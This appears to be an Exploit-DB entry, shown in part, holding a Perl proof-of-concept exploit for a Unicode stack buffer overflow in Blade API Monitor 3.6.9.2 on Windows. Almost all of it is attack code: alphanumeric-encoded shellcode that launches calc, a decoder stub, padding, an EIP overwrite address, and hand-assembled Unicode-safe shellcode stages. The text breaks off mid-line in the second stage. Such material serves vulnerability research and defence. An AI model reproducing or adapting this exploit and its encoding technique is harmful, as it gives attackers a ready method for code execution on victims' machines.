Exploit-DB #18349
Description: Blade API Monitor 3.6.9.2 - Unicode Stack Buffer Overflow
Type: local
Platform: windows
Date: 2012-01-10
Author: FullMetalFouad

Exploit:
# Exploit Title: Blade API Monitor Unicode Stack Buffer Overflow (the serial number!!)  
# Date: 25/12/2011
# Author: FullMetalFouad
# Version: 3.6.9.2
# Tested on: Windows XP/7
################################################################

my $file= "bof_blade.txt";

# windows/Winexec - 178 bytes
# VERBOSE=false, EXITFUNC=process, CMD=calc encoder=Alpha3
# ALPHA3\ALPHA3.py x86 ascii mixedcase eax --input="C:\calc_shellcode\calc.txt" --verbose
my $shellcode_calc =  
"hffffk4diFkTpj02Tpk0T0AuEE0t3r2F1k2q0S2J".
"0R3r3D2C0f074y08103I0E1N4x027n8n5K0V5K0I".
"2L3b0o144z0l2L015K012N0n054F5K1N2H0J094W".
"0w3v4q0j027L0Y2G0w093V0m4G7k1P3Z5O2n2O0p".
"034r032m334t3w3m02";

# 
# first stage to prepare the $shellcode_calc execution :
# ALPHA3\ALPHA3.py x86 ascii mixedcase eax --input="C:\calc_shellcode\shellcode.txt" --verbose
# "\x05\xF6\xFC\xFF\xFF"	;# sub eax, 30A
# "\x33\xDB"			    ;# xor ebx,ebx
# "\x33\xC9"			    ;# xor ecx,ecx
# "\xFE\xC5"			    ;# inc ch
# 
# "\x43"				    ;# inc ebx
# "\x8A\x14\x58"			;# mov     dl, [eax+ebx*2]
# "\x88\x14\x18"			;# mov     [eax+ebx], dl
# "\xE2\xF7"				;# loop 
# "\xFF\xE0"				;# jmp eax
my $shellcode =  "hffffk4diFkTpk02Tpl0T0Bu".
				 "EE1p3W4L8L38174W2k4E8M3m0r5M7p2o4z1O2L378O4r3C0m";


my $junk1 = "\xCC" x 104;
$junk1 = $junk1 ."\x35" x 2; # ECX
$junk1 = $junk1 ."\x41" x 6; # EBP

my $eip   = "\x3e\x43"; # 0x0043003e : call ebx | startnull,unicode,asciiprint,ascii {PAGE_EXECUTE_READ} [BladeAPIMonitor.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v3.6.9.2 (C:\Program Files\BladeAPIMonitor\BladeAPIMonitor.exe)
my $junk2 = "\x42" x 20;
my $buffer = "\x41" x 246;

my $finder = ""; 
my $part0 = "";
my $part1 = "";
my $part2 = "";
my $part3 = "";

# 0 part : we do EAX = EBX + length(part0+part1+part2 +1 ), to point to the first null byte of the loop code.
									#	_part_0_:__________________________________________________
$part0 = $part0. "\x53";           	#   | 53                push ebx                               |
$part0 = $part0. "\x45";           	#   | 004500            add [ebp+0x0],al  (nop)                |
$part0 = $part0. "\xBA\x58\x58";	#	| BA00580058        mov edx, 58005800                      |
$part0 = $part0. "\x45";        	#	| 004500            add [ebp+0x0],al                       |
$part0 = $part0. "\x54";           	#   | 54                push esp                               |
$part0 = $part0. "\x45";           	#   | 004500            add [ebp+0x0],al  (nop)                |
$part0 = $part0. "\x5F";           	#   | 5F                pop edi                                |
$part0 = $part0. "\x45";           	#   | 004500            add [ebp+0x0],al  (nop)                |
$part0 = $part0. "\xB9\x3B\x3B";	#   | B9003B003B        mov ecx, 3B003B00  (diff)              |
$part0 = $part0. "\xF5";           	#   | 00F5              add ch,dh                              |
$part0 = $part0. "\x6F";           	#   | 006F00            add [edi+0x0],ch                       |
$part0 = $part0. "\xD6";           	#   | D6                salc                                   |
$part0 = $part0. "\x45";           	#   | 004500            add [ebp+0x0],al  (nop)                |
$part0 = $part0. "\x5B";           	#   | 5B                pop ebx                                |
$part0 = $part0. "\x45";           	#   | 004500            add [ebp+0x0],al  (nop)                |
$part0 = $part0. "\x50";           	#   | 50                push eax                               |
$part0 = $part0. "\x45";           	#   | 004500            add [ebp+0x0],al  (nop)                |
$part0 = $part0. "\x54";           	#   | 54                push esp                               |
$part0 = $part0. "\x45";           	#   | 004500            add [ebp+0x0],al  (nop)                |
$part0 = $part0. "\x58";           	#   | 58                pop eax                                |
$part0 = $part0. "\x45";           	#   | 004500            add [ebp+0x0],al  (nop)                |
$part0 = $part0. "\xC1\x19";       	#   | C10019            rol dword ptr [eax], 19                |
$part0 = $part0. "\x45";           	#   | 004500            add [ebp+0x0],al  (nop)                |
$part0 = $part0. "\x58";           	#   | 58                pop eax                                |
$part0 = $part0. "\xC7";           	#   | 00C7              add bh,al                              |
$part0 = $part0. "\x45";           	#   | 004500            add [ebp+0x0],al  (nop)                |
$part0 = $part0. "\x53";           	#   | 53                push ebx                               |
$part0 = $part0. "\x45";           	#   | 004500            add [ebp+0x0],al  (nop)                |
$part0 = $part0. "\x58";           	#   | 58                pop eax                                |
$part0 = $part0. "\x45";           	#   | 004500            add [ebp+0x0],al  (nop)                |
$part0 = $part0. "\x52";           	#   | 52                push edx                               |
$part0 = $part0. "\x45";           	#   | 004500            add [ebp+0x0],al  (nop)                |
#####################################   |__________________________________________________________|


# 1st part : we do EBX=0x00000000, and ECX=0x00000100 (approximative size of buffer)
									#	_part_1_:__________________________________________________
$part1 = $part1. "\x6A";			#   | 6A00              push dword 0x00000000                  |
$part1 = $part1. "\x6A";        	#   | 6A00              push dword 0x00000000                  |
$part1 = $part1. "\x5B";        	#   | 5B                pop ebx                                |
$part1 = $part1. "\x45";        	#   | 004500            add [ebp+0x0],al  (nop)                |
$part1 = $part1. "\x59";        	#   | 59                pop ecx                                |
$part1 = $part1. "\x45";        	#   | 004